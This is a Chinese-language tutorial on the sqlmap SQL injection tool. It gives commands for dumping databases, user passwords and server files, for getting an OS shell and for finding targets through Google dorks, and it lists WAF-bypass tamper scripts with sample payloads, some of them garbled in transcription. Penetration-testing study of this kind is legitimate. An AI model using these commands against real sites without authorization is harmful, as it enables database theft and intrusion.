SQLMap

Posted darklee

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLMap相关的知识,希望对你有一定的参考价值。

SQLMap详解

~1.1什么是sqlmap:

    sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是mysql、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB。sqlmap采用了以下5种独特的SQL注入技术。
    ·基于布尔类型的盲注,即可以根据页面判断条件真假的注入
    ·基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断
    ·基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
    ·联合查询注入,在可以使用union的情况下的注入
    ·堆查询注入,可以同时执行多条语句时的注入
    SQLMap的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。SQLMap的功能强大到让人惊叹,当常规的注入工具不能利用sql注入漏洞进行注入时,使用sqlmap会有意想不到的效果

~1.2sqlmap入门

——1.2.1判断是否存在注入
    python sqlmap.py -u url    (当注入的参数为一的时候,url可以不加双引号,当注入点后面的参数大于等于两个时,需要url需要加双引号)
——1.2.2判断文本中的请求是否存在注入
    从文本中加载http请求,sqlmap加油从一个文本文件中获取http请求,这样就可以不设置其他参数(如cookie、post数据等),txt文件中的内容为web数据包,可用抓包根据抓取并保存
    用法:python sqlmap.py -r xx.txt    (xx.txt为数据包的位置)
——1.2.3查询当前用户下的所有数据库
    python sqlmap.py -u url --dbs
——1.2.4获取数据库中的表名
    python sqlmap.py -u url -D xx --tables   (xx为指定的数据库)
——1.2.5获取表中的字段名
    python sqlmap.py -u url -D xx -T yy --columns (xx为数据库,yy为指定的表名)
——1.2.6获取字段内容
    python sqlmap.py -u url -D xx -T yy -C uname,pwd --dump (下载xx数据库里yy表中的uanme和pwd的值)
——1.2.7获取数据库的所有用户
    python sqlmap.py -u url --users
——1.2.7获取数据库的用户的密码:
    python sqlmap.py -u url --passwords
——1.2.8获取当前网站数据库的名称:
    python sqlmap.py -u url --current-db
——1.2.9获取当前网站数据库的用户名称:
    python sqlmap.py -u url --current-user

~1.3sqlmap进阶

——1.3.1--level 5:探测等级
    --level 共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、xff等头部注入,当然,level 5的运行速度也比较慢。这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level2的时候会测试,HTTP User-Agent/Referer头在level3的时候会测试,为保证全面性,建议使用高level值
——1.3.2--is-dba:当前用户是否为管理权限
    该命令查看当前账户是否为数据库管理员账户,如果是则返回true。
    用法:python sqlmap.py -u --is-dba
——1.3.3--roles:列出数据库管理员角色
    该命令用户查看数据库用户的角色。如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也哭实验-U参数指定想看哪个用户的角色,该命令仅适用于当前数据库是oracle的时候
——1.3.4--referer:http referer头
    sqlmap可以在请求中伪造http中的referer,当--level参数设定为3或3以上时,会尝试对referer注入。可以使用referer命令来欺骗
——1.3.5--sql-shell:运行自定义SQL语句
    该命令用户执行指定的SQL语句
    用法:python sqlmap.py -url --sql-shell   (只能使用select语句)
——1.3.6--os-cmd,--os-shell:运行任意操作系统命令
    具体操作可以参考: https://xz.aliyun.com/t/7942
——1.3.6--file-read:从数据库服务器中读取文件
    该命令用户读取执行文件,当数据库为mysql、postgresql或sqlserver,并且当前用户有权限使用特定函数时,读取的文件可以是文本,也可以是二进制文件
    用法:python sqlmap.py -u url --file-read="c:1.php"
——1.3.7--file-write,--file-dest :把本地的文件上传到目标主机
    用法:python sqlmap.py -u url --file-write="c:1.php" --file-dest="/var/www/xxx”

~1.4sqlmap自带绕过脚本tamper的讲解

    ●apostrophemask.py
    作用:将引号替换为UTF-8,用于过滤单引号。
    使用脚本前的语句为:
    1 AND‘1‘=‘1
    使用脚本后,语句为:
    1 AND %EF%BC%871%EF%BC%87= %EF%BC%871
    · base64encode.py
    作用:替换为base64编码。
    使用脚本前的语句为:
    1‘ AND SLEEP (5) #
    使用脚本后,语句为:
    MScgQU5EIFNMRUVQKDUplw==
    ●multiplespaces.py
    作用:围绕SQL关键字添加多个空格。
    使用脚本前的语句为:
    1 UNION SELECT foobar
    使用脚本后,语句为:
    1 UNION SELECT foobar
    ●space2plus.py
    作用:用+号替换空格。
    使用脚本前的语句为:
    SELECT id FROM users
    使用脚本后,语询为:
    SELECT + id + FROM + users
    ●nonrecursivereplacement.py
    作用:作为双重查询语句,用双重语句替代预定义的SQL关
    弱的自定义过滤器,例如将SELECT替换为空)。
    使用脚本前的语句为:
    1 UNION SELECT 2-
    使用脚本后,语询为:
    1 UNIOUNIONN SELESELECTCT 2-
    ●space2randomblank.py
    作用:将空格替换为其他有效字符。
    使用脚本前的语句为:
    SELECT id FROM users
    使用脚本后,语句为:
    SELECT%0Did%0DFROM%0Ausers
    ●unionalltounion.py
    作用:将UNION ALL SELECT替换为UNION SELECT.
    使用脚本前的语句为:
    -1 UNION ALL SELECT
    使用脚本后,语句为:
    -1 UNION SELECT
    ●securesphere.py
    作用:追加特制的字符串。
    使用脚本前的语句为:
    1 AND 1=1
    使用脚本后,语句为:
    1 AND 1=1 and‘0having‘ =‘Ohaving‘
    ●space2hash.py
    作用:将空格替换为#号,并添加一个随机字符串和换行符
    使用脚本前的语句为:
    1 AND 9227=9227
    使用脚本后,语句为:
    1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=
    ●space2mssqlblank.py (mssq|)
    作用:将空格替换为其他空符号。
    使用脚本前的语句为:
    SELECT id FROM users
    使用脚本后,语句为:
    SELECT%0Eid%0DFROM%07users
    ●space2mssqhash.py
    作用:将空格替换为#号,并添加一个换行符。
    使用脚本前的语句为:
    1 AND 9227=9227
    使用脚本后,语询为:
    1 %23%0AAND%23%0A9227=9227
    ●between.py
    作用:用NOT BETWEEN 0 AND替换大于号(>) ,用BETWEEN AND替换等号(=)。
    使用脚本前的语句为:
    1ANDA>B-
    使用脚本后,语句为:
    1 AND A NOT BETWEEN 0 AND B-
    使用脚本前的语句为:
    1 AND A=B-
    使用脚本后,语句为:
    1 AND A BETWEEN B AND B-
    ●percentage.py
    作用: ASP允许在每个字符前面添加一个%号。
    使用脚本前的语句为:
    SELECT FIELD FROM TABLE
    使用脚本后,语句为:
    %S%E% L%E%C%T%F%I%E% L%D% F%R%O%M%T%A% B%L%E
    ●sp_ password.py
    作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_ password.
    使用脚本前的语句为:
    1 AND 9227=9227-
    使用脚本后,语句为:
    1 AND 9227=9227
    -sp_ password
    ●charencode.py
    作用:对给定的Payload全部字符使用URL编码(不处理已经编码的字符)。
    使用脚本前的语句为:
    SELECT FIELD FROM%20TABLE
    使用脚本后,语句为:
    %53%45%4c%45%43%54%20%46%49%45%4c
    %44%20%46%52%4f%4d%20%54%41 %42%4c%45
    ●randomcase.py
    作用:随机大小写。
    使用脚本前的语句为:
    INSERT
    使用脚本后,语句为:
    InsERt
    ●charunicodeencode.py
    作用:字符串unicode编码。
    使用脚本前的语句为:
    SELECT FIELD%20FROM TABLE
    使用脚本后,语句为:
    %u0053%u0045%u004c
    %u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c
    %u0044%u0020 %u0046%u0052%u004f%u004d
    %u0020%u0054%u0041 %u0042%u004c%u0045
    ●space2comment.py
    作用:将空格替换为/**/.
    使用脚本前的语句为:
    SELECT id FROM users
    使用脚本后,语句为:
    SELECT**/id/**/FROM/**/users
    ●equaltolike.py
    作用:将等号替换为like。
    使用脚本前的语句为:
    SELECT * FROM users WHERE id=1
    使用脚本后,语询为:
    SELECT * FROM users WHERE id LIKE 1
    ●greatest.py
    作用:绕过对">"的过滤,用GREATEST替换大于号。
    使用脚本前的语询为:
    1 ANDA> B
    使用脚本后,语句为:
    1 AND GREATEST (A, B+1) =A
    测试通过的数据库类型和版本:
    ●MySQL 4、MySQL 5.0和MySQL 5.5
    ●Oracle 10g
    ●PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0
    ●ifnull2ifisnull.py
    作用:绕过对IFNULL的过滤,替换类似IFNULL (A, B)为IF (ISNULL(A),B, A)。
    使用脚本前的语句为:
    IFNULL (1, 2)
    使用脚本后,语句为:
    IF (ISNULL (1),2, 1)
    测试通过的数据库类型和版本为MySQL 5.0和MySQL 5.5。
    ●modsecurityversioned.py
    作用:过滤空格,使用MySQL内联注释的方式(/*! 0000*/)进行注入。
    使用脚本前的语句为:
    1 AND 2>1-
    使用脚本后,语为:    
    1 /*! 30874AND 2>1*/-
    测试通过的数据库类型和版本为MySQL 5.0。
    ●space2mysqlblank.py
    作用:将空格替换为其他空白符号(适用于MySQL) 。
    使用脚本前的语句为:
    SELECT id FROM users
    使用脚本后,语句为:
    SELECT%A0id%0BFROM%0Cusers
    测试通过的数据库类型和版本为MySQL 5.1。
    ●modsecurityzeroversioned.py
    作用:使用MySQL内联注释的方式(/*! 0000*/)进行注入。
    使用脚本前的语句为:
    1 AND 2>1-
    使用脚本后,语句为:
    1 /*! 00000AND 2>1*/-
    测试通过的数据库类型和版本为MySQL 5.0。
    ●space2mysqldash.py
    作用:将空格替换为
    并添加一个换行符。
    使用脚本前的语句为:
    1 AND 9227=9227
    使用脚本后,语句为:
    1-- %0AAND
    ●bluecoat.py
    作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于号。
    使用脚本前的语句为:
    SELECT id FROM users where id=1
    使用脚本后,语句为:
    SELECT%09id FROM%09users WHERE%09id LIKE 1
    测试通过的数据库类型和版本为MySQL 5.1和SGOS。
    ●versionedkeywords.py
    作用:注释绕过。
    使用脚本前的语句为:
    UNION ALL SELECT NULL, NULL, CONCAT (CHAR (58,104, 116,116, 58),IFNULL (CAST (CURRENT USER () AS CHAR),CHAR (32) ) ,CH/**/AR (58,100, 114, 117, 58) ) #
    使用脚本后,语句为:/*! UNION**! AL*! SELECT**! NULL*/, /*! NULL*/, CONCAT(CHAR (58,104, 116,116, 58),IFNULL (CAST (CURRENT_ USER () /*!AS**! CHAR*/) ,CHAR (32) ),CHAR (58, 100,114, 117, 58)) #
    ●halfversionedmorekeywords.py
    作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本注释。
    使用脚本前的语句为:
    value‘ UNION ALL SELECT CONCAT (CHAR (58,107, 112, 113,58),IFNULL (CAST (CURRENT_ USER () AS CHAR),CHAR (32) ),CHAR(58, 97,110,121,58) ),NULL, NULL# AND ‘QDWa‘= ‘QDWa
    使用脚本后,语句为:
value‘/*! 0UNION/*! 0ALL/*! OSELECT/*! OCONCAT (/*! 0CHAR(58,107, 112, 113, 58) , /*! OIFN ULL (CAST (/*! 0CURRENT USER () /! 0AS/*! 0CHAR) , /*! 0CHAR (32) ),/*! 0CHAR (58,97,110,121, 58) ) , /*! ONULL, /*! 0NULL#/*! 0AND‘QDWa‘ =‘QDWa
    测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22。
    ●space2morehash.py
    作用:将空格替换为#号, 并添加一个随机字符串和换行符。
    使用脚本前的语句为:
    1 AND 9227=9227
    使用脚本后,语句为:
    1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227
    测试通过的数据库类型和版本为MySQL 5.1.41.
    ●apostrophenullencode.py
    作用:用非法双字节unicode字符替换单引号。
    使用脚本前的语句为:
    1 AND‘1‘=‘1
    使用脚本后,语句为:
    1 AND %00%271%00%27= %00%271
    ●appendnullyte.py
    作用:在有效负荷的结束位置加载零字节字符编码。
    使用脚本前的语句为:
    1 AND 1=1
    使用脚本后,语句为:
    1 AND 1=1%00
    ●chardoubleencode.py
    作用:对给定的Payload全部字符使用双重URL编码(不处理已经编码的字符)。
    使用脚本前的语句为:
    SELECT FIELD FROM%20TABLE
    使用脚本后,语句为:
    %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%25 4f%254d%2520%2554%2541 %2542%254c%2545
    ●unmagicquotes.py
    作用:用一个多字节组合(%bf%27) 和末尾通用注释起替换空格。
    使用脚本前的语句为:
    1‘ AND 1=1
    使用脚本后,语句为:
    1%bf%27-
    ●randomcomments.py
    作用:用/**/分割SQL关键字。
    使用脚本前的语句为:
    INSERT
    使用脚本后,语句为:
    IN/**/S/**/ERT
    虽然SQLMap自带的tamper可以做很多事情,但在实际环境中,往往比较复
杂,可能会遇到很多情况,tamper不可能很全面地应对各种环境,所以建议读者在学
习如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种
实战环境时才能更自如。

~1.4补充一些参数

sqlmap.py -h 查看帮助
--privileges  列出数据库管理员权限
--schema  列举数据库系统的架构
--batch 忽略提示,默认yes
--exclude-sysdbs  去除自带的数据库
-v  显示调式信息(有七个等级):
    0:只显示python错误以及严重的信息
    1:同时显示基本信息和警告信息(默认)
    2:同时显示debug信息
    3:同时显示注入的payload
    4:同时显示http请求
    5:同时显示http响应头
    6:同时显示http响应页面
-m:从文本中获取多个扫描目标,sqlmap会逐个监测
-g:sqlmap可以测试注入Google的搜索结果中的GET参数,比如 python.py sqlmap.py -g "inurl:php?id="
--data:此参数是把数据以post方式提交,sqlmap会像检测get一样测试post参数
--param-del:参数拆分字符,当GET或POST的数据需要使用其他字符分割测试参数的时候需要用到此参数,比如 python sqlmap.py -u "xxx" --data"a=1;b=2" --param-del=";"
--cookie:将参数加入cookie注入测试,比如测试后台的某个页面可能需要cookie
--headers:可以通过--headers参数来增加额外的http头,如 --headers "client-ip:xx"
--proxy:代理,格式为:http://url:port
--delay:设定两个http请求间的延迟
--timeout:设定一各http请求超过多久判定为超时
--retries:当http超时时,可以设定重新尝试连接次数,默认是3次
-p:指定设置成想要测试的参数
有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行
例如:$query="select *from users where id=(‘".$_GET[‘id‘]."‘);
这时就需要prefix和suffix参数了
如:python sqlmap.py -u "xx" -p id --prefix "‘)" --suffix "and (‘abc‘=‘abc"
这样sql变成:select *from users where id=(‘1‘) <payload> and (‘abc‘=‘abc‘);
--technique:可以指定sqlmap使用的探测技术,默认情况会使用所以的方式 --tech=UE
支持的探测方式如下:
    B:布尔型注入
    E:报错型注入
    U:可联合查询注入
    S:可多语句查询注入
    T:基于时间延迟注入
--search:可以用来寻找特定的数据库名
--flush-session:清除session
--common-tables   当使用--tables无法获取表名时,可以使用此参数
通常是如下情况:
    1.mysql数据库版本小于5.0,没有information_schema表
    2.数据库是Microsoft Access,系统表MSysObjects是不可读的
    3.当前用户没有权限读取系统中保存数据结构的表的权限
--sql-query="select @@version"   执行sql语句


  • 添加到短语集
     
    • 没有此单词集:英语 -> 中文(简体)...
       
    • 创建新的单词集...
  • 拷贝

以上是关于SQLMap的主要内容,如果未能解决你的问题,请参考以下文章

6-24学习记录

sqlmap命令

sqlmap: 初体验

这个看起来有点简单!

SQL注入:初步体验Sqlmap

SQL注入:Sqlmap初体验